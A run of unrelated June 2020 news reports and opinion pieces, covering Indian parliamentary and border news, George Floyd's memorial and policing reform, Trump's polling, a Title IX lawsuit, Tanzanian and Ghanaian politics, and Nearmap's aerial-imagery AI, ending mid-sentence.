According to sources, the meeting of the Parliamentary Standing Committee on IT, headed by senior Congress leader Shashi Tharoor, was to take place on June 10 but was postponed to June 17 as there was no final decision on whether the meeting could be held via video conferencing.

During the meeting, members are also likely to call representatives of the Information and broadcasting ministry to discuss the subject of ethical standards in media coverage, sources said. However,they did not elaborate.

The Ministry of Electronics and Information Technology officials are also scheduled to be called to brief the members on the government's coronavirus-tracking Aarogya Setu application and issues of data security and privacy of citizens, sources said.

Aarogya Setu app, which has been downloaded by over 10 crore users, is deployed by the government for contact-tracing and disseminating medical advisories to users in order to contain the spread of COVID-19.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

Opposition leaders, including Congress leader Rahul Gandhi, have raised privacy breach issues and alleged that the mobile application was a "sophisticated surveillance system", a charge strongly rejected by IT Minister Ravi Shankar Prasad, who asserted that the Aarogya Setu app was "secure" and there was no privacy breach in it.

According to sources, a final decision on the format of the meeting will be taken by by Lok Sabha Speaker Om Birla and Rajya Sabha Chairman M Venkaiah Naidu after a report from the two Secretaries-General on the overall subject of video-meetings.

The report is likely to be submitted on Tuesday, they said.

"Depending on next week's decision, the meeting on the 17th might take place by video or in person. In the latter case, arrangements will be sought to be made with the Delhi Government not to impede the work of the Parliament by preventing MPs from attending under the quarantine rules," the note circulated by the committee secretariat said.

Tharoor, who is the chairman of the committee, has repeatedly demanded allowing parliamentary panel meetings via video conferencing.

The call for convening the meeting of the IT panel comes days after a meeting of the Parliamentary Standing Committee on Home Affairs convened on June 3 to discuss the coronavirus-induced lockdown was deferred after some members expressed their inability to attend it due to travel restrictions.

Chairman of the committee and senior Congress leader Anand Sharma had convened the meeting, and Union Home Secretary Ajay Kumar Bhalla was called to brief its members on the coronavirus-induced lockdown and issues of coordination with states.

Follow our full coverage of the coronavirus pandemic here
Source: Xinhua| 2020-06-05 23:23:47|Editor: huaxia

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CHONGWE, Zambia, June 5 (Xinhua) -- The Zambia China Association (ZCA) has offered to build a computer laboratory at a school in Chongwe district in Zambia's Lusaka Province, a Zambia government official said Friday.

Chongwe district commissioner, Robster Mwanza described the development as "monumental". In an interview with Xinhua, he said the association pledged to build a computer laboratory and library at the Evergreen primary school in Kanakantapa village in the district. He said that the association would also install computers in the laboratory at the rural school.

He said the ZCA which was formed with an objective of serving the interests of Chinese investors in Zambia and to strengthen ties with local people had shown that it was mutually beneficial.

He said the association's commitment to participating in community projects was a sure sign that its formation was a step in the right direction. He thanked both the Zambian and Chinese members of the association for the noble gesture.

Mwanza revealed that the association adopted the school following a needs assessment. He said that the planned project was commendable because the school had no computer laboratory despite computer studies being a part of the education curriculum. He observed that once the project is complete, the teaching and learning of computer studies at the school will be eased.

He even appealed to the school to consider opening a class for adults who would be accorded a chance to gain basic computer skills that may be helpful to them.

Meanwhile, ZCA vice president, Zhang Jian said that his association would continue to partner with the school to enhance teaching and learning. Enditem
New Delhi: Indian and Chinese military officials, led by Lieutenant Generals from both armies, will meet on Saturday (June 6) in order to resolve the weeks-long row along the Line of Actual Control (LAC).

According to reports, the meeting is expected to take place at 8 am on Saturday at Chushul-Moldo border point on the Chinese side. Lieutenant generals from both sides, including 10 Indian officials will take part in the meet.

The proposed lieutenant general-level talks come after multiple rounds of military dialogue, held so far at various levels, all of which failed to achieve any breakthrough.

India has made it clear that no compromise will be made with regard to maintaining the sanctity of India`s borders and that while India believes in peace, it is firm and resolute when it comes to the defence of its territory. This has been reflected in spirit even in the four or more agreements between India and China, which have historically formed the mechanism for border management.

Tensions escalated along the Line of Actual Control (LAC) in the last few weeks following a number of skirmishes between Indian and Chinese troops. Starting from the first week of May, China has been able to bring in more than 5,000 troops in the Eastern Ladakh sector along the Line of Actual Control. Initially, they surprised the Indian side by the heavy troop movement but then India also started matching it by rushing in troops from its reserve division trained in high altitude warfare. This was in addition to the troops already deployed in the Ladakh sector as part of the 3 Division based in Karu.

Since the first week of May, the Chinese who are sitting inside Indian territory at some places on the LAC, there has not been any change in the ground situation and multiple face-offs had taken place between the soldiers of both sides.

As per the assessment, the Chinese troops wanted to do a further deeper incursion into the Indian side but the timely deployment of troops by Indian forces did not allow that to happen.
Police are the Department of Communities are searching for a 14-year-old girl missing since the end of May.

Tahleeya Jose has not been seen since Thursday, May 28, and the Department of Communities holds concerns for her wellbeing.

Tahleeya Jose.

Tahleeya is about 160 centimetres tall with fair skin. She has long, dark brown hair, a slim build, and was last seen wearing a black Champion jumper, black shorts and socks with grey slippers.

She was last seen in Glen Forrest but may frequent the Perth City, Aubin Grove, Joondalup, Ellenbrook, Armadale and Kalamunda.
Racial terror committed against Black people by the police is nothing new in America. We live in fear. Our ancestors lived in fear. Policing today can be traced directlya straight line in factto slavery and the racial regime it relies on and violently sustains. As James Baldwin remarked in 1966, the police are simply the hired enemies of this population. They are present to keep the Negro in his place and to protect white business interests, and they have no other function. We were stamped by police from the beginning as something less than human. We have been called the animal, the superpredator, or the monster.

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The current Congress accomplishes little these days, and it has not yet shown much interest in confronting racial violence. But true change will be hard to achieve through a patchwork of local and state reforms. If it wanted to, Congress is empowered to take bold action to transform policing and promote racial justice. A string of Supreme Court rulings involving the 13th Amendment offers Congress a tool to target institutions that have preserved social, political, and official norms associated with slaverythe badges and incidents of slavery. Congress has invoked the 13th Amendment many times before, notably when criminalizing hate crimes and ending racial discrimination in property sales. If Black lives actually matter, then Congress must look to the 13th Amendment to implement radical changes to policing.

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The 13th Amendment prohibits slavery and involuntary servitude, except as punishment for a crime, and provides Congress with the power to enforce this prohibition by appropriate legislation. The Supreme Court, in the Civil Rights Cases, interpreted the 13th Amendment to grant Congress broad authority to eliminate the badges and incidents of slavery. It was generally understood then by many prominent jurists that badges and incidents of slavery refer to racially discriminatory political, civil, and legal disadvantages arising out of slavery. Justice John Marshall Harlan, for example, believed that Congress could redress any race discrimination against Black people under the 13th Amendment. The Supreme Court would later adopt Harlans broad framework in Jones v. Alfred H. Mayer Co., which held that Congress power extends to outlawing modern-day practices that are a legacy or outgrowth of slavery, even if they are imposed by private actors. Established legislation under the 13th Amendment includes prohibitions against racially motivated violence, conspiracies to interfere with civil rights, and discrimination in the sale of property, education, employment, and contracts.

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The racist roots of formal policing in America, in both the North and the South, make the case that the 13th Amendment applies. Through the institution of slavery, white supremacy birthed and nurtured modern-day policing. Police forces were created to perpetuate white supremacy. Formal policing in the South developed in the 1700s as slave patrols. The principal tasks of slave patrol policing were to terrorize slaves to deter revolts, capture and return runaway slaves, and discipline slaves who violated any plantation rules. Slave patrols had significant and unfettered power within their communities that derived from Slave Codes. Slave patrols would forcefully enter homes to look for criminal activityharboring escaping slavesor just because they could. This is all too familiar today. In Kentucky, Breonna Taylor was shot several times while asleep in her bed. In Texas, Atatiana Jefferson was shot and killed by a police officer while playing video games with her nephew in her living room. Botham Jean was shot and killed while eating ice cream in his living room by an off-duty police officer. Slave patrols had the authority to seize, punish, and return slaves who had left the plantation without written permission. This power to police Black movement persists today. Massive racial disparities exist in police traffic stops, stop and frisk, citations, and narcotic search warrants.

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The same is true for the North. Modern policing in the North can be traced to the 1830s. During that time period, a formal police force was created to control low-wage workers, immigrants, and free Blacks who were labeled by police as dangerousa false narrative of Black criminality that has remained to this day.

For over a century after slavery was formally abolished by the 13th Amendment, police were the master of ceremonies of Jim Crow. The Black Codescriminal laws that applied only to Black people and were intended to control the Black bodyallowed police to terrorize Blacks to enforce racial subjugation. These laws were deliberately crafted to return Blacks to slavery by a different name: convict leasing, in which the state imprisoned Black people and leased them to work for private companies without pay. Police developed coercive techniques to get innocent Blacks to confess to crimes they did not commit. One such technique was torture. Specifically, public lynchings emerged in the 1890s to extract a confession by whipping or burning the Black body. Police not only sanctioned this practice, but often participated in the mutilation of Black flesh. In Brown v. Mississippi, where admitting coerced confessions as evidence at trial was finally ruled unconstitutional, three Black tenant farmers were convicted for murdering a white planter. The only evidence of this crime was their confessions, which had been obtained through police torture that included repeated hanging and whipping of one of the defendants until he confessed. Police continue to use similar coercive techniques today to get Black people to confess to crimes they did not commitand police rarely face consequences.

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The passage of the Civil Rights Act of 1964, which formally ended Jim Crow, ushered in a war that targeted Black people with surgical precision: the war on drugs. Richard Nixon wanted to create a strong carceral state to control Black peoplethe Angela Davis crowd, as he put it. When you have a war that targets Black people, you need soldiers who are trained in anti-blackness: police. This war armed the police with the most sophisticated, and largely constitutional, arsenal to enforce racial subjugation: racial profiling, stop and frisk, pretextual stops, excessive force, and qualified immunity. Paul Butler refers to these as police superpowers. These superpowers perpetuate Blue-on-Black violence.

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Some may look at this history and say it is evidence that weve come a long way. But the reality shows Blacks are disproportionately stopped by the police, searched by the police, and assaulted by the police and are much more likely to be killed by police during a routine stop. The fact that George Floyds murder inspired mass protests in dozens of cities across America underscores how police violence cannot simply be chalked up to one rogue officer, an isolated incident, or a few bad apples. Millions are recognizing the patterns. To date, reform measures have simply not worked. One frequently suggested remedy is reform in police hiring to focus on local citizens and accurately reflect the citys population. Yet even in cities with police forces more representative of their populations racial diversity, the problem of police violence continues, in part due to fundamental failings of even community policing reforms.

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Police violence is systemic and can only be stopped by a systemic racial justice intervention. The 13th Amendment is built for this moment; it is a tool for progressive political mobilization. Congress can enforce the 13th Amendment by effectively abolishing racially discriminatory policing that exists today. What might this look like in practice? Many people feel nervous when they hear the word abolition, believing it demands the disbandment of all police forces overnight. But there are a number of common-sense legislative measures Congress has the authority to take that would transform policing. They could ban discriminatory policing practices such as stop and frisk, end qualified immunity, and disarm police of military weapons. To go further, legislators could approve reparations for victims of past police terror. They can withhold federal funds from all state and local law enforcement until these mandatory actions are taken: the creation of civilian commissions, which would transfer power from the police to the communities most affected by mass incarceration, as K. Sabeel Rahman and Jocelyn Simonson have written, giving communities the ability to set policies, discipline officers, and control police budgets; the implementation of implicit bias, sensitivity, and de-escalation trainings; and the development of a data system that accurately tracks race in police contacts, including traffic stops, citations, searches, warrants, use of force and killings, and arrests, as well as the officers involved. It could also decriminalize federal drug possession offenses and incentivize states to decriminalize minor offenses, including drug possession and traffic and quality-of-life violations; this step would help end the broken windows policing that has led to mass criminalization. Lastly, Congress could create a new division of the Department of Justice to investigate and prosecute civil rights violations by the police. This is important to avoid different branches in the DOJ reaching opposing conclusions on the same case, as we have recently seen with the police killing of Eric Garner. As it did with the Voting Rights Act, which targeted jurisdictions with historically racist election laws, Congress could also develop a preclearance formula that takes account of all these data points and directs this division to review before federal funding is released.

All of these steps would move us closer to a world where all communities have the resources they need to be safea world where police are simply not needed. This is something we all should embrace; it is a world worth imagining.
The Tanzanian government is contemplating introducing amendments to the countrys laws that will prevent human rights defenders and organizations from filing lawsuits on behalf of, or for the benefit of, victims of human rights violations, Amnesty International has learnt.

If passed, the proposed amendment - which was today before the Constitutional and Legal Affairs Parliamentary Committee - will require anyone seeking legal redress for human rights violations to prove that they were personally affected.

The proposed amendments are yet another development that will silence those who either cannot afford the cost of litigation or who do not seek justice themselves for fear of reprisals, said Deprose Muchena, Amnesty Internationals Director for East and Southern Africa.

If passed, they will close off a much-needed avenue for accountability and will likely fuel human rights violations.

On 4 June 2020 the Office of the Attorney General of Tanzania sent the proposed bill to parliaments Constitutional and Legal Affairs Committee ahead of its formal tabling in the parliament for wider discussion and adoption next week.

Among the laws to be amended is the Basic Rights and Duties Enforcement Act which gives anyone the right to access the high court to seek redress for allegations of violations of constitutional provisions on human rights.

These proposed amendments come barely a year after Tanzania withdrew the right of individuals and NGOs to directly file cases against the country at the Arusha-based African Court on Human and Peoples Rights.

Human rights defenders and non-governmental organizations play a vital role in seeking justice, truth and reparations for the voiceless and advancing respect for human rights. said Deprose Muchena.

The bill also seeks to grant immunity to the President, Vice-President, Prime Minister, the Speaker, Deputy Speaker and Chief Justice for any act of commission or omission in the course of their duties. This comes at a time when people are increasingly filing suits against the president and government officials to hold them accountable for their actions, including restricting access to information relating to the COVID-19 pandemic.

This bill can only be read as the Tanzanian governments attempt to evade accountability by restricting the peoples constitutional rights. The law must always serve to uphold and protect the rights of people rather than clamp them down, said Deprose Muchena.

Background

The Tanzanian government has adopted or enforced a raft of repressive laws to stifle human rights in the country in the past few years.
In a sou moto petition filed in the Supreme Court on Friday, the National Human Rights Commission(NHRC) presented 10 short term measures to mitigate the suffering faced by stranded migrants and sought the courts intervention in the matter.

A bench headed by Justice Ashok Bhushan, however, is yet to issue any order to this effect. NHRCs plea was among the 14 applications for intervention taken up by the court. Solicitor General Tushar Mehta representing the Centre has supported NHRCs intervention than the others.

Laying stress on quarantine and relief measures, the human rights body recommended collection of data of migrants at the point of departure and arrival. It also demanded a journey allowance to be paid as mandated under the Inter-State Migrant Workmen Act, 1979. NHRC further recommended menstrual hygiene kit to be provided to each migrant woman and adolescent girl who are travelling. In addition, it sought shelter homes to accommodate special needs of lactating mothers, pregnant women, children and elderly.

In a bid to provide employment opportunities to the returnees, NHRC also suggested skill mapping of labour. To ensure medical facilities, the short-term suggestions included regular health check-ups along with food and water during and after their journey. It also asked that a helpdesk or helpline be set up to support migrant and destitute workers receive compensation, avoid delay in Shramik Special trains, and create a fund to disburse fixed compensation to migrants returning home.
Battered by crisis after crisis, US President Donald Trump appears to be in political peril as never before.

Since taking office in 2017, Mr Trump has weathered storm after storm, always emerging with a fighting chance of being re-elected.

After he survived an impeachment trial which saw him acquitted by the Republican-led Senate in February, things looked up.

Now his Teflon shield is being put to an acid test as he faces a triple whammy: the biggest public health crisis in a century, the worst economic downturn in generations, and the largest civil unrest since the 1960s.

Mr Trump's calls for a crackdown on nationwide protests over police brutality have drawn rebukes from civil rights advocates, religious leaders, opposition Democrats and some fellow Republicans. Even former Republican president George W Bush felt the need to issue a statement that the protesters be heard.

Perhaps of more concern to Mr Trump and his re-election campaign, however, is that almost every opinion poll points to erosion of his electoral support since the pandemic, which has taken almost 109,000 American lives since February and led to 40 million jobless claims.

At the same time, his Democratic opponent in the November election, Joe Biden, has re-emerged from lockdown with a message of unity and civic healing which stands in marked contrast to Mr Trump's talk of "thugs" and "lowlifes" and "law and order".

So far, Mr Trump's aggressive tone does not seem to be matching the moment. A poll by Reuters/Ipsos this week showed a bipartisan majority of Americans, including twice as many independents, sympathise with protesters and disapprove of Mr Trump's bellicose response.

Republicans say he has time to turn things around, particularly if the economy begins to rebound. And, they say, if the protests persist and become unruly, voters may become more responsive to Mr Trump's hard-line approach.

"As awful as this is, it does allow Trump the opportunity to reframe the debate the way he wants it to be - law and order versus chaos," said Doug Heye, a former Republican national committee official and frequent critic of Mr Trump.

"That is part of the conversation that he wants."

A source close to the Trump campaign said the protests have taken attention away from the government's often-criticised handling of the pandemic. And Mr Trump could ultimately benefit if states continue to reopen their economies and job numbers improve in the autumn, said the source.

Right now, though, the numbers are against him.

More than 55pc of Americans said they disapproved of his handling of the protests, including 40pc who "strongly" disapproved, while only a third said they approved - lower than his overall job approval of 39pc, the poll showed.

A separate Reuters poll this week showed Mr Biden's lead over Mr Trump among registered voters expanded to 10 percentage points, the biggest margin since the former vice-president became his party's presumptive nominee.

This week, for the first time since Mr Biden became the likely nominee, betting markets favoured him to win in November.

With five months to go until the election, there is plenty of time for those odds to change.

Tim Murtaugh, spokesman for the Trump campaign, said the campaign's internal data shows the president is "running strong" with Mr Biden in battleground states.

"Everyone knows public polling is notoriously wrong about President Trump," he said.

An analysis of Reuters/Ipsos polling since March shows Mr Trump's approval, which has remained remarkably consistent over more than three years, has slipped among some demographic groups of voters who will be crucial in deciding the election.

An increasing number of Americans who make more than $100,000 a year, those between the ages of 35 and 54 years old, and white women with college degrees said they were now considering Mr Biden.
George Floyd Remembered at Memorial Service in Minneapolis

MINNEAPOLISCelebrities, musicians and political leaders gathered in front of George Floyds golden casket Thursday for a memorial service in Minneapolis at a sanctuary at North Central University.

Floyd, a 46-year-old out-of-work bouncer, died May 25 after a police officer put his knee on Floyds neck for several minutes as Floyd lay handcuffed on the pavement, saying that he couldnt breathe. The officer, Derek Chauvin, has been charged with murder.

Those gathered at the Minneapolis tribute stood in silence for 8 minutes, 46 secondsthe amount of time Floyd was alleged to be on the ground under the control of police.

In addition to hundreds who gathered inside the North Central University chapel, a crowd of hundreds more clustered outside under trees and in window sills, listening to the service broadcast over loudspeakers.

Guests gather at North Central University before a memorial service for George Floyd in Minneapolis, on June 4, 2020. (AP Photo/Julio Cortez)

Family members of George Floyd attend a memorial service for George Floyd, in Minneapolis, Minnesota, June 4, 2020. (Lucas Jackson/Reuters)

The service drew the Rev. Jesse Jackson, Sen. Amy Klobuchar and other members of Congress, including Reps. Ilhan Omar, Sheila Jackson Lee and Ayanna Pressley. Among the celebrities in attendance were T.I., Ludacris, Tyrese Gibson, Kevin Hart, Tiffany Haddish and Marsai Martin.

Senator Amy Klobuchar talks with civil rights activist Reverend Jesse Jackson during a memorial service for George Floyd in Minneapolis, on June 4, 2020. (Lucas Jackson/Reuters)

The casket was covered in red roses, and a vibrant image was projected above the pulpit of a mural of Floyd painted at the street corner where he was arrested by police on suspicion of passing a counterfeit $20 bill at a convenience store. The message on the mural: I can breathe now.

Reverend Al Sharpton speaks during a memorial service for George Floyd, in Minneapolis, Minnesota, on June 4, 2020. (Lucas Jackson/Reuters)

The sanctuary normally seats 1,000, but because of the CCP (Chinese Communist Party) virus outbreak, the capacity was reduced to about 500, and many attendees to the memorial service wore masks, some with I cant breathe on them.

Outside, hundreds chanted Floyds name as a hearse prepared to carry him away.

People carry George Floyds coffin after a memorial service for George Floyd in Minneapolis, Minnesota, on June 4, 2020. (Lucas Jackson/Reuters)

His body goes next to Raeford, North Carolina, near where he was born, for a public viewing and private family service on Saturday. A public viewing will be held Monday in Houston, where he was raised and lived most of his life.

Protesters march down Flatbush Avenue to the Barclays Center in the New York City borough of Brooklyn as memorial events are held for George Floyd, in New York, on June 4, 2020. (Jonathan Oatis/Reuters)

Largely peaceful protests since Floyds death took place in communities of all sizes across the United States, but were rocked by bursts of violence, including deadly attacks on officers, theft, vandalism and arson. In Minneapolis alone, more than 220 buildings were damaged or burned, with damage topping $55 million, city officials said.

But relative quiet prevailed for a third straight night Thursday, a day after prosecutors charged the three other officers at the scene and filed a new, more serious count of murder against Chauvin.

In New York City, a large crowd gathered at Brooklyns Cadman Plaza and chanted You are not alone in a rally with one of George Floyds brothers.

I thank God for you all showing love to my brother, said an emotional Terrence Floyd.

Peaceful demonstrations continued past the citys 8 p.m. curfew, even as Gov. Andrew Cuomo and Mayor Bill de Blasio sought to deflect criticism over harsh tactics from police enforcing the curfew the night before. While there was a heavy police presence on the streets, they did not immediately move in to make arrests.

Demonstrators sit as they gather during a protest against the death in police custody of George Floyd, at the Lincoln Memorial in Washington, on June 4, 2020. (Reuters/Carlos Barria)

In Washington, the law enforcement presence was much lighter compared to the previous night, and thousands of people marched peacefully from near the White House to the Lincoln Memorial. Police cleared the largely empty streets of cars just ahead of the demonstrators path. The protests broke up before dark as a heavy rain began.

Nationwide, more than 10,000 people have been arrested in relation to protests following Floyds death, an Associated Press tally found. More than a dozen deaths have been reported, though the circumstances in many cases are still being sorted out.

By Aaron Morrison and Tim Sullivan

Epoch Times staff, Associated Press journalists, and Reuters contributed to this report.
Who knew Herman Munster, resident of 1313 Mockingbird Lane, was a civil rights activist? He surely didnt even know himself.

Actor Fred Gwynne as Herman Munster in The Munsters | CBS via Getty Images

A show of humanity arrived from the most unlikely source on Twitter recently. The friendly Frankensteins monster character of the 1960s classic television comedy, The Munsters, fired up the social networking service with his words of wisdom that have arrived just in time to a world desperate for simple decency.

RELATED: I Love Lucy: The Sad Reason Why Lucille Ball Demanded Desi Arnaz Be Cast On the Show

The Munsters and other 1960s comedies didnt happen by accident

The 2002 documentary, Behind the Fame: The Munsters/Addams Family, examines the appeal of the two monstrous 1960s comedy series, The Munsters and The Addams Family. Its writer and co-director, Geoffrey Mark (also listed as Geoffrey Mark Fidelman), explains how the onslaught of monster and fantasy television series came along in the mid-1960s because of President John F. Kennedys assassination in 1963.

A scene from The Munsters | CBS Photo Archive via Getty Images

Once that happened, Mark explained in the documentary, once the Civil Rights movement had started, once we were in Vietnam, the culture of television was not to portray anything that seriously in a comedic sort of way.

Speaking of 1960s comedies such as I Dream of Jeannie, Lost in Space, and Bewitched, Mark described the shows roles in diverting the nation from the turmoil it was in at the time.

A scene from The Munsters | CBS Photo Archive via Getty Images

So sitcoms could not reflect on death and despair and war or anything racist. . . there began this fad, and it lasted for several years, of these fantasy sitcoms with genies, martians, monsters, and witches. They were unreal and far removed from what was actually happening in our country, and The Munsters was certainly among the better of them. It was extraordinarily well cast.

Herman Munsters wisdom

Although The Munsters only ran from 1964 to 1966, it was hard for America to not fall in love with Herman Munster. His character was childlike and innocent, refreshing in his faith in his fellow mans goodness. Herman also was a creature with values and decency and if he had any flaws, it was his refusal to see the dark side of his neighbor.

The cast of The Munsters | Silver Screen Collection/Getty Images

Trending yesterday on Twitter were Hermans words of instruction to his young son, the wolf-like Eddie, in understanding and accepting one other as we are. His sentiment is as relevant today as it was in 1964, when actor Fred Gwynne as Herman Munster spoke them.

The lesson I want you to learn, Herman Munster told his son, Eddie, is: It doesnt matter what you look like. You can be tall or short or fat or thin, or ugly or handsome, like your father, or you can be black or yellow or white. It doesnt matter. But what does matter is the size of your heart and the strength of your character.

Twitter users needed to hear those words

Clearly, Herman Munsters simple faith in humanity resonated with followers on Twitter.

One Twitter user said, What does it say about society that it seems the sanest words being spoken today  are being spoken by Herman Munster? #StopRacism

Fred Gwynne as Herman Munster | Silver Screen Collection/Getty Images

Way back . . . in the 1960s, tweeted another, Herman Munster knew what time it was. We could all be a little more like Herman.

Lastly, this tweet sums up the feelings of so many touched by the green monsters civility.

Herman Munster was speaking the word more than 50 years ago, it said. Hoping it doesnt take another 50 to get people to listen.

RELATED: How Jerry Stillers First Date With Anne Meara Couldve Gotten Him Arrested
A group of activists from religious groups and human rights organizations rally in support of the Black Lives Matter movement near the U.S. Embassy in Seoul, Friday, following the death of George Floyd in the United States. Floyd died on Memorial Day after being pinned face down on the ground by a white police officer in Minneapolis. The incident has sparked protests against police brutality and racism around the world. Korea Times photo by Choi Won-suk
Seventeen states and the District of Columbia sued U.S. Secretary of Education Betsy DeVos and the U.S. Department of Education Thursday, challenging new rules that govern how K-12 schools, colleges, and universities must respond to student complaints of sexual assault and harassment under Title IX, a federal law that prohibits sex discrimination in education.

The rule, which DeVos announced May 6 after years of input and public comment, creates arbitrary and unlawful procedural requirements that will chill reporting of sexual harassment and make it harder for schools to reach fair outcomes, says the lawsuit, which was filed in the U.S. District Court in Washington, D.C.

Adjusting procedures and training to comply with the new rule will also be very difficult for schools as they contend with a public health and economic crisis, the suit says.

Under normal circumstances, requiring schools to overhaul their policies and procedures, re-negotiate collective bargaining agreements, and implement the Rules hiring, training, and other requirements in less than three months would impose an extraordinarily difficult burden, the plaintiffs say. Given the ongoing uncertainty caused by the COVID-19 pandemic and the strain it has placed on education institutions, Defendants decision to require compliance with the Rule by August 14, 2020, is inexplicable.

Plaintiffs in the suit are California, Colorado, Delaware, District of Columbia, Illiniois, Massachusetts, Michigan, Minnesota, New Jersey, New Mexico, North Carolina, Oregon, Pennsylvania, Rhode Island, Vermont, Virginia, Washington, and Wisconsin.



The new Title IX rule says schools must respond to unwelcome treatment on the basis of sex that is so severe, pervasive, and objectively offensive that it infringes an an individuals education. Previously, the federal agency used a broader definition of conduct that is severe, pervasive, or objectively offensive.

By narrowing the definition, and using a higher bar than is used in the enforcement of other civil rights laws, the rule impermissibly weaken[s] the administrative enforcement scheme contemplated by Congress in enacting Title IX, the states suit says.

The Departments definition requires students to endure repeated and escalating levels of harassment to the point of risking school avoidance; detrimental mental health effects, such as increased risk of self-harm and depression; declines in attendance; withdrawal; and even dropout before the Rule permits schools to stop the discrimination under Title IX, the suit says.

The new standards will result in a chilling effect that stifles student reporting, the states argue, noting that the Education Departments own analysis anticipates fewer investigations under the new directive.

The ACLU filed a similar lawsuit on behalf of survivors rights organizations May 14.

The Title IX rule replaced an Obama-era civil rights directive that DeVos revoked in September 2017, when she said that rule didnt do enough to protect the due-process rights of the accused. DeVos has also criticized the Obama administration for releasing guidance documents that outlined its interpretation of civil rights laws without seeking public comment through a formal rulemaking process.

Follow us on Twitter @PoliticsK12 . And follow the Politics K-12 reporters @EvieBlad @Daarel and @AndrewUjifusa .
A Coalition of Independent Presidential Aspirants (CIPA) is poised to change history and deliver to Ghanaians better accountability, better citizen-centered management of its economy and resources, and a long-term agenda that secures Ghana's posterity.



The mission is to present to Ghanaians a coalition of Ghanaian leaders in their own fields, with global expertise, and let our people know we have the concern and skillset to unseat and replace the entrenched political NDC and NPP parties in the upcoming Presidential Election, a release issued in Accra said.



Members of the CIPA) are Mr Kofi Koranteng, a Ghanaian investment banker and real estate investor; Mr Samuel Ofori Ampofo, a retired Ghanaian mechanical engineer, farmer and rural banker; Marricke Kofi Gane, an international development expert, lecturer and chartered certified accountant; Mr Carl Ebo Morgan, a businessman, political scientist and project Management consultant; and Onipayde Ossom Teye, a businessman and welder.



It our hope that others who share the vision will see the need to join forces with us for the greater good of God and Country, the team said.



According to the release, the presidential campaigns of the various Independent Aspirants reached a consensus that the best approach to fight for the survival of Ghana and dispose of the NDC and NPP, was to unite behind a single campaign agenda.



There is a general realization and acceptance in the nation that Ghana is at the crossroads of a leadership crisis and that Ghana as we knew it as an independent nation may not survive under the heavy foreign debt burden, lack of payback plan, and lack of transparency, it said



It added that, neither of the two major political party leadership cares enough to understand the real needs of the ordinary people.



They do not seem fully cognizant of the era we are in and about the youth and their struggles for survival. The leadership seems selfish and greedy and unconcerned about the citizens and the need to plan for posterity.



The team of independent presidential aspirants stressed the need to position Ghana to present a better future for generations.



Each of these aspirants is pledged to consolidating efforts with a unified Presidential candidate, to win the Presidency in 2020.



Their GOAL in the next few months is to restore Ghana's dignity in all sectors of the nation, primarily, agriculture to a high level of modernisation, competitive advantage and productivity; attractive farming communities with basic roads and amenities to attract the youth and a pragmatic and superior educational system linked to job creation for our graduates.



They would also pursue public and private financial capital investment in the Youth such as scholarships and student loans; boost-in loans for small and medium scale businesses and come out with a first class Health care that delivers improved life expectancy as in developed countries and environmental sanitation second to none with 99.9 percent control of the mosquito breeding and malaria in 3 years.



According to the release the team assures Ghanaians of banning open gutters and making underground sewage systems standard throughout Ghana.



It would also reduce the size of Government by 50 per cent or more, cut the colonial allowance systems, and balance the Ghana government budget within three years and deal with corruption in the most cross-cutting, efficient and ruthless manner within the confines of law.

Source: GNA









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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In the span of a few decades, widespread geospatial imagery has gone from impractical to unremarkable, and governments are still finding uses for it. From covert surveillance to disaster assessment , high-resolution aerial photos have become one of many regular data assets used by larger agencies to study problems or changes to property.Correspondingly, aerial imagery has also become a more competitive market, and the Australian company Nearmap this week made a move in hopes of distinguishing itself by adding artificial intelligence to its offering to make property changes easier to flag and identify.As described in the companys news release , Nearmap AI is now available in the companys Mapbrowser tool, in the form of different layers atop regularly updated images catalogued by the platform. These layers can automatically identify and analyze ground features such as residential building footprints, construction sites, tree overhang, green cover, solar panels, trampolines and swimming pools, and detect changes over time.Founded in 2008 and expanded to the U.S. in 2014, Nearmap has been building a massive database of aerial imagery for years, flying planes at 12,000 feet over both Australia and North America that take photographs at 3-inch resolution  in which one pixel is about 3 inches wide. Nearmap's CEO, Rob Newman, said theyve covered land that contains about 72 percent of the U.S. population, including the 415 largest cities in North America, and made the imagery accessible on the cloud by subscription.Newman said government agencies and insurance companies have been using the imagery to learn about changes to infrastructure or property, but several years ago they started asking if there was an easier way than visually scanning through it themselves. Newman said he put together a research team of 20 data scientists in 2017 to study the problem, and they produced an AI tool.Newman pointed out the alternative is using satellite imagery, which doesnt have sufficient resolution; or sending an employee in a car to take photos, in which case he would take more time and likely wouldnt be able to see the back yard.A local government could say, Give me a listing of every swimming pool in my county, they click the button, and it exports out immediately to them a complete listing by address, where all the swimming pools are in that county, said Newman. Some of the features that you might [use] to evaluate property are difficult to do from low-resolution imagery. Using Nearmap imagery, we can very quickly see things. ... Using AI almost automates that for you, showing you every house thats got a swimming pool, and thatll be highlighted in a visual way. Youll get a bright blue dollar [sign] for every swimming pool, and you can then export that data out and put it into your systems.As cameras and cloud technology have become more competitive, so has the business of selling subscriptions to aerial imagery. Earlier this year, one of the markets domestic players, Vexcel Imaging in Colorado, acquired a fleet of planes and other assets from Geomni, a subsidiary of risk analytics company Verisk, with the goal of building the worlds largest library of geospatial imagery.Nearmap would be a competitor in that endeavor, regularly updating its catalogue of 90 million parcels and more than 380,000 square miles across the U.S. and Australia, according to its news release. Newman said that reach, and AI, is what distinguishes his company from Vexcel.Having 90 million parcels globally, processed through our AI engine, is something that 